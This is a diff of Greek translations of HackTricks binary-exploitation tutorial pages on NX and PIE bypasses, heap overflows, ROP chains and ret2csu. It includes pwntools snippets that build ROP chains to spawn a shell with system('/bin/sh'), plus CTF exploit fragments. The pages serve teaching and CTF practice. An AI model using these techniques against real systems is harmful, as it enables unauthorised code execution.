+- [**Ανακατεύθυνση Δεικτών**](../stack-overflow/pointer-redirecting.md): Σε περίπτωση που η στοίβα περιέχει δείκτες σε μια συνάρτηση που πρόκειται να κληθεί ή σε μια συμβολοσειρά που πρόκειται να χρησιμοποιηθεί από μια ενδιαφέρουσα συνάρτηση (system ή printf), είναι δυνατόν να παραγράψετε αυτή τη διεύθυνση.
+- [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) ή [**PIE**](../common-binary-protections-and-bypasses/pie/index.html) μπορεί να επηρεάσουν τις διευθύνσεις.
+- [**Μη αρχικοποιημένες μεταβλητές**](../stack-overflow/uninitialized-variables.md): Ποτέ δεν ξέρετε
 
 {{#include ../../banners/hacktricks-training.md}}

src/binary-exploitation/common-binary-protections-and-bypasses/no-exec-nx.md

@@ -8,9 +8,9 @@
 
 ## Bypasses
 
-- Είναι δυνατόν να χρησιμοποιηθούν τεχνικές όπως [**ROP**](../rop-return-oriented-programing/) **για να παρακαμφθεί** αυτή η προστασία εκτελώντας κομμάτια εκτελέσιμου κώδικα που είναι ήδη παρόντα στο δυαδικό.
-- [**Ret2libc**](../rop-return-oriented-programing/ret2lib/)
-- [**Ret2syscall**](../rop-return-oriented-programing/rop-syscall-execv/)
+- Είναι δυνατόν να χρησιμοποιηθούν τεχνικές όπως [**ROP**](../rop-return-oriented-programing/index.html) **για να παρακαμφθεί** αυτή η προστασία εκτελώντας κομμάτια εκτελέσιμου κώδικα που είναι ήδη παρόντα στο δυαδικό.
+- [**Ret2libc**](../rop-return-oriented-programing/ret2lib/index.html)
+- [**Ret2syscall**](../rop-return-oriented-programing/rop-syscall-execv/index.html)
 - **Ret2...**
 
 {{#include ../../banners/hacktricks-training.md}}

src/binary-exploitation/common-binary-protections-and-bypasses/pie/README.md

@@ -6,7 +6,7 @@
 
 Ένα δυαδικό αρχείο που έχει μεταγλωττιστεί ως PIE, ή **Position Independent Executable**, σημαίνει ότι το **πρόγραμμα μπορεί να φορτωθεί σε διαφορετικές διευθύνσεις μνήμης** κάθε φορά που εκτελείται, αποτρέποντας τις σκληροκωδικοποιημένες διευθύνσεις.
 
-Το κόλπο για να εκμεταλλευτείτε αυτά τα δυαδικά αρχεία έγκειται στην εκμετάλλευση των **σχετικών διευθύνσεων**—οι αποστάσεις μεταξύ των μερών του προγράμματος παραμένουν οι ίδιες ακόμη και αν οι απόλυτες τοποθεσίες αλλάξουν. Για να **παρακάμψετε το PIE, χρειάζεται μόνο να διαρρεύσετε μία διεύθυνση**, συνήθως από τη **στοίβα** χρησιμοποιώντας ευπάθειες όπως οι επιθέσεις μορφοποίησης συμβολοσειρών. Μόλις έχετε μια διεύθυνση, μπορείτε να υπολογίσετε άλλες με τις **σταθερές αποστάσεις** τους.
+Το κόλπο για να εκμεταλλευτείτε αυτά τα δυαδικά αρχεία έγκειται στην εκμετάλλευση των **σχετικών διευθύνσεων**—οι αποστάσεις μεταξύ των μερών του προγράμματος παραμένουν οι ίδιες ακόμη και αν οι απόλυτες τοποθεσίες αλλάξουν. Για να **παρακάμψετε το PIE, χρειάζεται μόνο να διαρρεύσετε μία διεύθυνση**, συνήθως από τη **στοίβα** χρησιμοποιώντας ευπάθειες όπως οι επιθέσεις μορφοποίησης συμβολοσειρών. Μόλις έχετε μια διεύθυνση, μπορείτε να υπολογίσετε άλλες με βάση τις **σταθερές αποστάσεις** τους.
 
 Μια χρήσιμη ένδειξη στην εκμετάλλευση δυαδικών αρχείων PIE είναι ότι η **βάση τους συνήθως τελειώνει σε 000** λόγω των σελίδων μνήμης που είναι οι μονάδες τυχαίας κατανομής, με μέγεθος 0x1000 bytes. Αυτή η ευθυγράμμιση μπορεί να είναι μια κρίσιμη **έλεγχος αν μια εκμετάλλευση δεν λειτουργεί** όπως αναμένεται, υποδεικνύοντας αν έχει προσδιοριστεί η σωστή βάση διεύθυνσης.\
 Ή μπορείτε να το χρησιμοποιήσετε για την εκμετάλλευσή σας, αν διαρρεύσετε ότι μια διεύθυνση βρίσκεται στη **`0x649e1024`** γνωρίζετε ότι η **βάση είναι `0x649e1000`** και από εκεί μπορείτε απλά να **υπολογίσετε τις αποστάσεις** των συναρτήσεων και των τοποθεσιών.
@@ -23,7 +23,7 @@
 bypassing-canary-and-pie.md
 {{#endref}}
 
-- Χρησιμοποιήστε μια **τυχαία ανάγνωση** ευπάθεια όπως [**μορφοποίηση συμβολοσειράς**](../../format-strings/) για να διαρρεύσετε μια διεύθυνση του δυαδικού αρχείου (π.χ. από τη στοίβα, όπως στην προηγούμενη τεχνική) για να αποκτήσετε τη βάση του δυαδικού και να χρησιμοποιήσετε αποστάσεις από εκεί. [**Βρείτε ένα παράδειγμα εδώ**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-bypass).
+- Χρησιμοποιήστε μια **τυχαία ανάγνωση** ευπάθεια όπως [**format string**](../../format-strings/index.html) για να διαρρεύσετε μια διεύθυνση του δυαδικού αρχείου (π.χ. από τη στοίβα, όπως στην προηγούμενη τεχνική) για να αποκτήσετε τη βάση του δυαδικού και να χρησιμοποιήσετε αποστάσεις από εκεί. [**Βρείτε ένα παράδειγμα εδώ**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-bypass).
 
 ## References
 

src/binary-exploitation/libc-heap/heap-overflow.md

@@ -4,9 +4,9 @@
 
 ## Basic Information
 
-Ένα heap overflow είναι σαν ένα [**stack overflow**](../stack-overflow/) αλλά στο heap. Βασικά σημαίνει ότι κάποιος χώρος έχει κρατηθεί στο heap για να αποθηκεύσει κάποια δεδομένα και **τα αποθηκευμένα δεδομένα ήταν μεγαλύτερα από τον κρατημένο χώρο.**
+Ένα heap overflow είναι σαν ένα [**stack overflow**](../stack-overflow/index.html) αλλά στο heap. Βασικά σημαίνει ότι κάποιος χώρος είχε κρατηθεί στο heap για να αποθηκεύσει κάποια δεδομένα και **τα αποθηκευμένα δεδομένα ήταν μεγαλύτερα από τον κρατημένο χώρο.**
 
-Στα stack overflows γνωρίζουμε ότι μερικοί καταχωρητές όπως ο δείκτης εντολών ή το stack frame θα αποκατασταθούν από το stack και θα μπορούσε να είναι δυνατό να γίνει κατάχρηση αυτού. Στην περίπτωση των heap overflows, **δεν υπάρχει καμία ευαίσθητη πληροφορία αποθηκευμένη από προεπιλογή** στο heap chunk που μπορεί να υπερχειλιστεί. Ωστόσο, θα μπορούσε να είναι ευαίσθητη πληροφορία ή δείκτες, οπότε η **κριτική σημασία** αυτής της ευπάθειας **εξαρτάται** από **ποια δεδομένα θα μπορούσαν να αντικατασταθούν** και πώς ένας επιτιθέμενος θα μπορούσε να εκμεταλλευτεί αυτό.
+Στα stack overflows γνωρίζουμε ότι μερικοί καταχωρητές όπως ο δείκτης εντολών ή το stack frame θα αποκατασταθούν από το stack και θα μπορούσε να είναι δυνατό να γίνει κατάχρηση αυτού. Στην περίπτωση των heap overflows, **δεν υπάρχει καμία ευαίσθητη πληροφορία που να αποθηκεύεται από προεπιλογή** στο heap chunk που μπορεί να υπερχειλιστεί. Ωστόσο, θα μπορούσε να είναι ευαίσθητη πληροφορία ή δείκτες, οπότε η **κριτική σημασία** αυτής της ευπάθειας **εξαρτάται** από **ποια δεδομένα θα μπορούσαν να αντικατασταθούν** και πώς ένας επιτιθέμενος θα μπορούσε να εκμεταλλευτεί αυτό.
 
 > [!TIP]
 > Για να βρείτε τα offsets υπερχείλισης μπορείτε να χρησιμοποιήσετε τα ίδια μοτίβα όπως στα [**stack overflows**](../stack-overflow/index.html#finding-stack-overflows-offsets).
@@ -23,15 +23,15 @@
 
 Για να αναγκαστεί αυτή η γέμιση με αντικείμενα συγκεκριμένου μεγέθους, η **εκτός γραμμής κατανομή που σχετίζεται με ένα mach port του iOS** είναι ένας ιδανικός υποψήφιος. Με την κατασκευή του μεγέθους του μηνύματος, είναι δυνατό να καθοριστεί ακριβώς το μέγεθος της κατανομής `kalloc` και όταν το αντίστοιχο mach port καταστραφεί, η αντίστοιχη κατανομή θα απελευθερωθεί αμέσως πίσω στο `kfree`.
 
-Στη συνέχεια, μερικοί από αυτούς τους χώρους μπορεί να είναι **ελεύθεροι**. Η **λίστα ελεύθερων `kalloc.4096` απελευθερώνει στοιχεία με σειρά τελευταίου εισερχόμενου πρώτου εξερχόμενου**, που σημαίνει βασικά ότι αν μερικοί χώροι είναι ελεύθεροι και η εκμετάλλευση προσπαθεί να κατανοήσει αρκετά αντικείμενα θύματα ενώ προσπαθεί να κατανοήσει το αντικείμενο που είναι ευάλωτο σε υπερχείλιση, είναι πιθανό ότι αυτό το αντικείμενο θα ακολουθείται από ένα αντικείμενο θύμα.
+Στη συνέχεια, μερικοί από αυτούς τους χώρους μπορούν να **απελευθερωθούν**. Η **λίστα ελεύθερων `kalloc.4096` απελευθερώνει στοιχεία με σειρά τελευταίου εισερχόμενου πρώτου εξερχόμενου**, που σημαίνει βασικά ότι αν μερικοί χώροι απελευθερωθούν και η εκμετάλλευση προσπαθήσει να κατανεμηθεί αρκετά αντικείμενα θύματα ενώ προσπαθεί να κατανεμηθεί το αντικείμενο που είναι ευάλωτο σε υπερχείλιση, είναι πιθανό ότι αυτό το αντικείμενο θα ακολουθείται από ένα αντικείμενο θύμα.
 
 ### Example libc
 
-[**Σε αυτή τη σελίδα**](https://guyinatuxedo.github.io/27-edit_free_chunk/heap_consolidation_explanation/index.html) είναι δυνατό να βρείτε μια βασική προσομοίωση heap overflow που δείχνει πώς η αντικατάσταση του prev in use bit του επόμενου chunk και η θέση του prev size είναι δυνατό να **συγκεντρώσουν ένα χρησιμοποιούμενο chunk** (κάνοντάς το να νομίζει ότι είναι αχρησιμοποίητο) και **στη συνέχεια να το κατανοήσουν ξανά** έχοντας τη δυνατότητα να αντικαταστήσουν δεδομένα που χρησιμοποιούνται σε διαφορετικό δείκτη επίσης.
+[**Σε αυτή τη σελίδα**](https://guyinatuxedo.github.io/27-edit_free_chunk/heap_consolidation_explanation/index.html) είναι δυνατό να βρείτε μια βασική προσομοίωση heap overflow που δείχνει πώς η αντικατάσταση του prev in use bit του επόμενου chunk και η θέση του prev size είναι δυνατό να **συγκεντρώσουν ένα χρησιμοποιούμενο chunk** (κάνοντάς το να νομίζει ότι είναι αχρησιμοποίητο) και **στη συνέχεια να το κατανεμηθεί ξανά** έχοντας τη δυνατότητα να αντικαταστήσει δεδομένα που χρησιμοποιούνται σε διαφορετικό δείκτη επίσης.
 
 Ένα άλλο παράδειγμα από [**protostar heap 0**](https://guyinatuxedo.github.io/24-heap_overflow/protostar_heap0/index.html) δείχνει ένα πολύ βασικό παράδειγμα ενός CTF όπου ένα **heap overflow** μπορεί να εκμεταλλευτεί για να καλέσει τη συνάρτηση νικητή για **να πάρει τη σημαία**.
 
-Στο [**protostar heap 1**](https://guyinatuxedo.github.io/24-heap_overflow/protostar_heap1/index.html) παράδειγμα είναι δυνατό να δείτε πώς με την κατάχρηση ενός buffer overflow είναι δυνατό να **αντικατασταθεί σε ένα κοντινό chunk μια διεύθυνση** όπου **τυχαία δεδομένα από τον χρήστη** θα γραφούν.
+Στο παράδειγμα [**protostar heap 1**](https://guyinatuxedo.github.io/24-heap_overflow/protostar_heap1/index.html) είναι δυνατό να δείτε πώς με την κατάχρηση ενός buffer overflow είναι δυνατό να **αντικατασταθεί σε ένα κοντινό chunk μια διεύθυνση** όπου **τυχαία δεδομένα από τον χρήστη** θα γραφούν.
 
 ### Example ARM64
 

src/binary-exploitation/rop-return-oriented-programing/README.md

@@ -4,12 +4,12 @@
 
 ## **Βασικές Πληροφορίες**
 
-**Return-Oriented Programming (ROP)** είναι μια προηγμένη τεχνική εκμετάλλευσης που χρησιμοποιείται για να παρακάμψει μέτρα ασφαλείας όπως το **No-Execute (NX)** ή το **Data Execution Prevention (DEP)**. Αντί να εισάγει και να εκτελεί shellcode, ένας επιτιθέμενος εκμεταλλεύεται κομμάτια κώδικα που είναι ήδη παρόντα στο δυαδικό ή σε φορτωμένες βιβλιοθήκες, γνωστά ως **"gadgets"**. Κάθε gadget συνήθως τελειώνει με μια εντολή `ret` και εκτελεί μια μικρή λειτουργία, όπως η μετακίνηση δεδομένων μεταξύ καταχωρητών ή η εκτέλεση αριθμητικών πράξεων. Συνδυάζοντας αυτά τα gadgets, ένας επιτιθέμενος μπορεί να κατασκευάσει ένα payload για να εκτελέσει αυθαίρετες λειτουργίες, παρακάμπτοντας αποτελεσματικά τις προστασίες NX/DEP.
+**Return-Oriented Programming (ROP)** είναι μια προηγμένη τεχνική εκμετάλλευσης που χρησιμοποιείται για να παρακαμφθούν τα μέτρα ασφαλείας όπως το **No-Execute (NX)** ή το **Data Execution Prevention (DEP)**. Αντί να εισάγει και να εκτελεί shellcode, ένας επιτιθέμενος εκμεταλλεύεται κομμάτια κώδικα που είναι ήδη παρόντα στο δυαδικό αρχείο ή σε φορτωμένες βιβλιοθήκες, γνωστά ως **"gadgets"**. Κάθε gadget συνήθως τελειώνει με μια εντολή `ret` και εκτελεί μια μικρή λειτουργία, όπως η μετακίνηση δεδομένων μεταξύ καταχωρητών ή η εκτέλεση αριθμητικών λειτουργιών. Συνδέοντας αυτά τα gadgets, ένας επιτιθέμενος μπορεί να κατασκευάσει ένα payload για να εκτελέσει αυθαίρετες λειτουργίες, παρακάμπτοντας αποτελεσματικά τις προστασίες NX/DEP.
 
 ### Πώς Λειτουργεί το ROP
 
 1. **Hijacking Ροής Ελέγχου**: Πρώτα, ένας επιτιθέμενος πρέπει να hijack τη ροή ελέγχου ενός προγράμματος, συνήθως εκμεταλλευόμενος μια υπερχείλιση buffer για να αντικαταστήσει μια αποθηκευμένη διεύθυνση επιστροφής στο stack.
-2. **Αλυσίδωση Gadgets**: Ο επιτιθέμενος στη συνέχεια επιλέγει προσεκτικά και αλυσόδεσε gadgets για να εκτελέσει τις επιθυμητές ενέργειες. Αυτό μπορεί να περιλαμβάνει τη ρύθμιση παραμέτρων για μια κλήση συνάρτησης, την κλήση της συνάρτησης (π.χ., `system("/bin/sh")`), και τη διαχείριση οποιασδήποτε απαραίτητης καθαριότητας ή πρόσθετων λειτουργιών.
+2. **Σύνδεση Gadgets**: Ο επιτιθέμενος στη συνέχεια επιλέγει προσεκτικά και συνδέει gadgets για να εκτελέσει τις επιθυμητές ενέργειες. Αυτό μπορεί να περιλαμβάνει τη ρύθμιση παραμέτρων για μια κλήση συνάρτησης, την κλήση της συνάρτησης (π.χ., `system("/bin/sh")`), και τη διαχείριση οποιασδήποτε απαραίτητης καθαριότητας ή πρόσθετων λειτουργιών.
 3. **Εκτέλεση Payload**: Όταν η ευάλωτη συνάρτηση επιστρέφει, αντί να επιστρέψει σε μια νόμιμη τοποθεσία, αρχίζει να εκτελεί την αλυσίδα των gadgets.
 
 ### Εργαλεία
@@ -18,16 +18,16 @@
 
 ## ROP Chain σε Παράδειγμα x86
 
-### **x86 (32-bit) Συμβάσεις Κλήσης**
+### **x86 (32-bit) Κλήσεις Συμβάσεων**
 
-- **cdecl**: Ο καλών καθαρίζει το stack. Οι παράμετροι της συνάρτησης τοποθετούνται στο stack σε αντίστροφη σειρά (δεξιά προς αριστερά). **Οι παράμετροι τοποθετούνται στο stack από δεξιά προς αριστερά.**
+- **cdecl**: Ο καλών καθαρίζει το stack. Οι παράμετροι της συνάρτησης τοποθετούνται στο stack σε αντίστροφη σειρά (δεξιά προς τα αριστερά). **Οι παράμετροι τοποθετούνται στο stack από δεξιά προς τα αριστερά.**
 - **stdcall**: Παρόμοιο με το cdecl, αλλά ο καλούμενος είναι υπεύθυνος για τον καθαρισμό του stack.
 
 ### **Εύρεση Gadgets**
 
-Πρώτα, ας υποθέσουμε ότι έχουμε εντοπίσει τα απαραίτητα gadgets μέσα στο δυαδικό ή στις φορτωμένες βιβλιοθήκες. Τα gadgets που μας ενδιαφέρουν είναι:
+Πρώτα, ας υποθέσουμε ότι έχουμε εντοπίσει τα απαραίτητα gadgets μέσα στο δυαδικό αρχείο ή τις φορτωμένες βιβλιοθήκες. Τα gadgets που μας ενδιαφέρουν είναι:
 
-- `pop eax; ret`: Αυτό το gadget βγάζει την κορυφαία τιμή του stack στο καταχωρητή `EAX` και στη συνέχεια επιστρέφει, επιτρέποντάς μας να ελέγξουμε το `EAX`.
+- `pop eax; ret`: Αυτό το gadget αφαιρεί την κορυφαία τιμή του stack στον καταχωρητή `EAX` και στη συνέχεια επιστρέφει, επιτρέποντάς μας να ελέγξουμε το `EAX`.
 - `pop ebx; ret`: Παρόμοιο με το παραπάνω, αλλά για τον καταχωρητή `EBX`, επιτρέποντας τον έλεγχο του `EBX`.
 - `mov [ebx], eax; ret`: Μεταφέρει την τιμή στο `EAX` στη διεύθυνση μνήμης που υποδεικνύεται από το `EBX` και στη συνέχεια επιστρέφει. Αυτό συχνά ονομάζεται **write-what-where gadget**.
 - Επιπλέον, έχουμε τη διεύθυνση της συνάρτησης `system()` διαθέσιμη.
@@ -37,7 +37,7 @@
 Χρησιμοποιώντας **pwntools**, προετοιμάζουμε το stack για την εκτέλεση της ROP αλυσίδας ως εξής, στοχεύοντας να εκτελέσουμε `system('/bin/sh')`, σημειώστε πώς η αλυσίδα ξεκινά με:
 
 1. Μια εντολή `ret` για σκοπούς ευθυγράμμισης (προαιρετική)
-2. Διεύθυνση της συνάρτησης `system` (υποθέτοντας ότι το ASLR είναι απενεργοποιημένο και γνωστό libc, περισσότερες πληροφορίες στο [**Ret2lib**](ret2lib/))
+2. Διεύθυνση της συνάρτησης `system` (υποθέτοντας ότι το ASLR είναι απενεργοποιημένο και γνωστό libc, περισσότερες πληροφορίες στο [**Ret2lib**](ret2lib/index.html))
 3. Θέση για τη διεύθυνση επιστροφής από το `system()`
 4. Διεύθυνση της συμβολοσειράς `"/bin/sh"` (παράμετρος για τη συνάρτηση system)
 ```python
@@ -77,22 +77,22 @@ p.interactive()
 
 ### **x64 (64-bit) Calling conventions**
 
-- Χρησιμοποιεί τη **System V AMD64 ABI** κλήση σε Unix-like συστήματα, όπου οι **πρώτες έξι ακέραιες ή δείκτες παράμετροι μεταφέρονται στους καταχωρητές `RDI`, `RSI`, `RDX`, `RCX`, `R8` και `R9`**. Πρόσθετες παράμετροι μεταφέρονται στη στοίβα. Η τιμή επιστροφής τοποθετείται στο `RAX`.
-- Η κλήση **Windows x64** χρησιμοποιεί `RCX`, `RDX`, `R8` και `R9` για τις πρώτες τέσσερις ακέραιες ή δείκτες παραμέτρους, με πρόσθετες παραμέτρους να μεταφέρονται στη στοίβα. Η τιμή επιστροφής τοποθετείται στο `RAX`.
-- **Καταχωρητές**: Οι 64-bit καταχωρητές περιλαμβάνουν `RAX`, `RBX`, `RCX`, `RDX`, `RSI`, `RDI`, `RBP`, `RSP`, και `R8` έως `R15`.
+- Χρησιμοποιεί τη **System V AMD64 ABI** calling convention σε συστήματα τύπου Unix, όπου τα **πρώτα έξι ακέραια ή δείκτες επιχειρήματα περνάνε στους καταχωρητές `RDI`, `RSI`, `RDX`, `RCX`, `R8`, και `R9`**. Πρόσθετα επιχειρήματα περνάνε στο stack. Η τιμή επιστροφής τοποθετείται στο `RAX`.
+- Η calling convention **Windows x64** χρησιμοποιεί `RCX`, `RDX`, `R8`, και `R9` για τα πρώτα τέσσερα ακέραια ή δείκτες επιχειρήματα, με πρόσθετα επιχειρήματα να περνάνε στο stack. Η τιμή επιστροφής τοποθετείται στο `RAX`.
+- **Registers**: Οι 64-bit καταχωρητές περιλαμβάνουν `RAX`, `RBX`, `RCX`, `RDX`, `RSI`, `RDI`, `RBP`, `RSP`, και `R8` έως `R15`.
 
 #### **Finding Gadgets**
 
-Για τους σκοπούς μας, ας επικεντρωθούμε σε gadgets που θα μας επιτρέψουν να ρυθμίσουμε τον **RDI** καταχωρητή (για να περάσουμε τη συμβολοσειρά **"/bin/sh"** ως παράμετρο στη **system()**) και στη συνέχεια να καλέσουμε τη συνάρτηση **system()**. Θα υποθέσουμε ότι έχουμε εντοπίσει τα εξής gadgets:
+Για τους σκοπούς μας, ας επικεντρωθούμε σε gadgets που θα μας επιτρέψουν να ρυθμίσουμε τον **RDI** καταχωρητή (για να περάσουμε τη συμβολοσειρά **"/bin/sh"** ως επιχείρημα στη **system()**) και στη συνέχεια να καλέσουμε τη συνάρτηση **system()**. Θα υποθέσουμε ότι έχουμε εντοπίσει τα εξής gadgets:
 
-- **pop rdi; ret**: Αντλεί την κορυφαία τιμή της στοίβας στον **RDI** και στη συνέχεια επιστρέφει. Απαραίτητο για να ρυθμίσουμε την παράμετρο μας για τη **system()**.
-- **ret**: Μια απλή επιστροφή, χρήσιμη για την ευθυγράμμιση της στοίβας σε ορισμένα σενάρια.
+- **pop rdi; ret**: Αντλεί την κορυφαία τιμή του stack στον **RDI** και στη συνέχεια επιστρέφει. Απαραίτητο για να ρυθμίσουμε το επιχείρημά μας για τη **system()**.
+- **ret**: Μια απλή επιστροφή, χρήσιμη για την ευθυγράμμιση του stack σε ορισμένα σενάρια.
 
 Και γνωρίζουμε τη διεύθυνση της συνάρτησης **system()**.
 
 ### **ROP Chain**
 
-Παρακάτω είναι ένα παράδειγμα που χρησιμοποιεί **pwntools** για να ρυθμίσει και να εκτελέσει μια ROP αλυσίδα με στόχο την εκτέλεση **system('/bin/sh')** σε **x64**:
+Παρακάτω είναι ένα παράδειγμα που χρησιμοποιεί **pwntools** για να ρυθμίσει και να εκτελέσει μια ROP chain με στόχο την εκτέλεση **system('/bin/sh')** σε **x64**:
 ```python
 from pwn import *
 
@@ -131,7 +131,7 @@ p.interactive()
 
 - Χρησιμοποιούμε το **`pop rdi; ret`** gadget για να ορίσουμε το **`RDI`** στη διεύθυνση του **`"/bin/sh"`**.
 - Πηδάμε απευθείας στη **`system()`** μετά την ρύθμιση του **`RDI`**, με τη διεύθυνση της **system()** στην αλυσίδα.
-- Το **`ret_gadget`** χρησιμοποιείται για ευθυγράμμιση αν το περιβάλλον στόχος το απαιτεί, το οποίο είναι πιο συνηθισμένο σε **x64** για να διασφαλιστεί η σωστή ευθυγράμμιση της στοίβας πριν από την κλήση συναρτήσεων.
+- Το **`ret_gadget`** χρησιμοποιείται για ευθυγράμμιση αν το περιβάλλον στόχος το απαιτεί, κάτι που είναι πιο συνηθισμένο σε **x64** για να διασφαλιστεί η σωστή ευθυγράμμιση της στοίβας πριν από την κλήση συναρτήσεων.
 
 ### Ευθυγράμμιση Στοίβας
 
@@ -154,15 +154,15 @@ p.interactive()
 
 ## Προστασίες κατά του ROP
 
-- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **&** [**PIE**](../common-binary-protections-and-bypasses/pie/): Αυτές οι προστασίες καθιστούν πιο δύσκολη τη χρήση του ROP καθώς οι διευθύνσεις των gadgets αλλάζουν μεταξύ των εκτελέσεων.
-- [**Stack Canaries**](../common-binary-protections-and-bypasses/stack-canaries/): Σε περίπτωση BOF, είναι απαραίτητο να παρακαμφθούν οι αποθηκευμένες canary της στοίβας για να επαναγραφούν οι δείκτες επιστροφής για να εκμεταλλευτούν μια ROP αλυσίδα.
+- [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) **&** [**PIE**](../common-binary-protections-and-bypasses/pie/index.html): Αυτές οι προστασίες καθιστούν πιο δύσκολη τη χρήση του ROP καθώς οι διευθύνσεις των gadgets αλλάζουν μεταξύ των εκτελέσεων.
+- [**Stack Canaries**](../common-binary-protections-and-bypasses/stack-canaries/index.html): Σε περίπτωση BOF, είναι απαραίτητο να παρακαμφθεί η αποθήκευση canary της στοίβας για να επαναγραφούν οι δείκτες επιστροφής για να εκμεταλλευτούν μια ROP αλυσίδα.
 - **Έλλειψη Gadgets**: Αν δεν υπάρχουν αρκετά gadgets, δεν θα είναι δυνατή η δημιουργία μιας ROP αλυσίδας.
 
 ## Τεχνικές βασισμένες σε ROP
 
-Σημειώστε ότι το ROP είναι απλώς μια τεχνική για την εκτέλεση αυθαίρετου κώδικα. Βασισμένο στο ROP, αναπτύχθηκαν πολλές τεχνικές Ret2XXX:
+Σημειώστε ότι το ROP είναι απλώς μια τεχνική για την εκτέλεση αυθαίρετου κώδικα. Βασισμένες στο ROP, αναπτύχθηκαν πολλές τεχνικές Ret2XXX:
 
-- **Ret2lib**: Χρησιμοποιεί ROP για να καλέσει αυθαίρετες συναρτήσεις από μια φορτωμένη βιβλιοθήκη με αυθαίρετες παραμέτρους (συνήθως κάτι σαν `system('/bin/sh')`.
+- **Ret2lib**: Χρησιμοποιεί ROP για να καλέσει αυθαίρετες συναρτήσεις από μια φορτωμένη βιβλιοθήκη με αυθαίρετους παραμέτρους (συνήθως κάτι σαν `system('/bin/sh')`.
 
 {{#ref}}
 ret2lib/

src/binary-exploitation/rop-return-oriented-programing/ret2csu.md

@@ -6,7 +6,7 @@
 
 ## [https://www.scs.stanford.edu/brop/bittau-brop.pdf](https://www.scs.stanford.edu/brop/bittau-brop.pdf)Βασικές Πληροφορίες
 
-**ret2csu** είναι μια τεχνική hacking που χρησιμοποιείται όταν προσπαθείτε να αναλάβετε τον έλεγχο ενός προγράμματος αλλά δεν μπορείτε να βρείτε τα **gadgets** που συνήθως χρησιμοποιείτε για να χειριστείτε τη συμπεριφορά του προγράμματος.
+**ret2csu** είναι μια τεχνική hacking που χρησιμοποιείται όταν προσπαθείτε να ελέγξετε ένα πρόγραμμα αλλά δεν μπορείτε να βρείτε τα **gadgets** που συνήθως χρησιμοποιείτε για να χειριστείτε τη συμπεριφορά του προγράμματος.
 
 Όταν ένα πρόγραμμα χρησιμοποιεί ορισμένες βιβλιοθήκες (όπως η libc), έχει μερικές ενσωματωμένες λειτουργίες για τη διαχείριση του πώς διαφορετικά κομμάτια του προγράμματος επικοινωνούν μεταξύ τους. Μεταξύ αυτών των λειτουργιών υπάρχουν μερικοί κρυμμένοι θησαυροί που μπορούν να λειτουργήσουν ως τα χαμένα μας gadgets, ειδικά ένα που ονομάζεται `__libc_csu_init`.
 
@@ -14,7 +14,7 @@
 
 Στο **`__libc_csu_init`**, υπάρχουν δύο ακολουθίες εντολών (gadgets) που πρέπει να επισημάνουμε:
 
-1. Η πρώτη ακολουθία μας επιτρέπει να ρυθμίσουμε τιμές σε αρκετούς καταχωρητές (rbx, rbp, r12, r13, r14, r15). Αυτοί είναι σαν θέσεις όπου μπορούμε να αποθηκεύσουμε αριθμούς ή διευθύνσεις που θέλουμε να χρησιμοποιήσουμε αργότερα.
+1. Η πρώτη ακολουθία μας επιτρέπει να ρυθμίσουμε τιμές σε αρκετούς καταχωρητές (rbx, rbp, r12, r13, r14, r15). Αυτοί είναι σαν υποδοχές όπου μπορούμε να αποθηκεύσουμε αριθμούς ή διευθύνσεις που θέλουμε να χρησιμοποιήσουμε αργότερα.
 ```armasm
 pop rbx;
 pop rbp;
@@ -24,7 +24,7 @@ pop r14;
 pop r15;
 ret;
 ```
-Αυτή η συσκευή μας επιτρέπει να ελέγχουμε αυτούς τους καταχωρητές αποσύροντας τιμές από τη στοίβα σε αυτούς.
+Αυτή η συσκευή μας επιτρέπει να ελέγχουμε αυτούς τους καταχωρητές αποθηκεύοντας τιμές από τη στοίβα σε αυτούς.
 
 2. Η δεύτερη ακολουθία χρησιμοποιεί τις τιμές που έχουμε ρυθμίσει για να κάνουμε μερικά πράγματα:
 - **Μετακίνηση συγκεκριμένων τιμών σε άλλους καταχωρητές**, προετοιμάζοντάς τους για να τους χρησιμοποιήσουμε ως παραμέτρους σε συναρτήσεις.
@@ -60,7 +60,7 @@ gef➤  search-pattern 0x400560
 [+] In '/Hackery/pod/modules/ret2_csu_dl/ropemporium_ret2csu/ret2csu'(0x600000-0x601000), permission=r--
 0x600e38 - 0x600e44  →   "\x60\x05\x40[...]"
 ```
-- `rbp` και `rbx` πρέπει να έχουν την ίδια τιμή για να αποφευχθεί η μεταπήδηση
+- `rbp` και `rbx` πρέπει να έχουν την ίδια τιμή για να αποφευχθεί η εκτροπή
 - Υπάρχουν μερικά παραλειπόμενα pops που πρέπει να λάβετε υπόψη
 
 ## RDI και RSI
@@ -79,7 +79,7 @@ brop-blind-return-oriented-programming.md
 
 ### Χρησιμοποιώντας την κλήση
 
-Φανταστείτε ότι θέλετε να κάνετε μια syscall ή να καλέσετε μια συνάρτηση όπως το `write()`, αλλά χρειάζεστε συγκεκριμένες τιμές στους καταχωρητές `rdx` και `rsi` ως παραμέτρους. Συνήθως, θα ψάχνατε για gadgets που ρυθμίζουν αυτούς τους καταχωρητές άμεσα, αλλά δεν μπορείτε να βρείτε κανένα.
+Φανταστείτε ότι θέλετε να κάνετε μια syscall ή να καλέσετε μια συνάρτηση όπως το `write()`, αλλά χρειάζεστε συγκεκριμένες τιμές στους καταχωρητές `rdx` και `rsi` ως παραμέτρους. Κανονικά, θα ψάχνατε για gadgets που ρυθμίζουν αυτούς τους καταχωρητές άμεσα, αλλά δεν μπορείτε να βρείτε κανένα.
 
 Εδώ είναι που μπαίνει σε παιχνίδι το **ret2csu**:
 
@@ -111,7 +111,7 @@ p.sendline(p64(elf.sym['win']))            # send to gets() so it's written
 print(p.recvline())                        # should receive "Awesome work!"
 ```
 > [!WARNING]
-> Σημειώστε ότι η προηγούμενη εκμετάλλευση δεν προορίζεται για να κάνει **`RCE`**, προορίζεται απλώς να καλέσει μια συνάρτηση που ονομάζεται **`win`** (λαμβάνοντας τη διεύθυνση του `win` από το stdin καλώντας gets στην αλυσίδα ROP και αποθηκεύοντάς την στο r15) με ένα τρίτο επιχείρημα με την τιμή `0xdeadbeefcafed00d`.
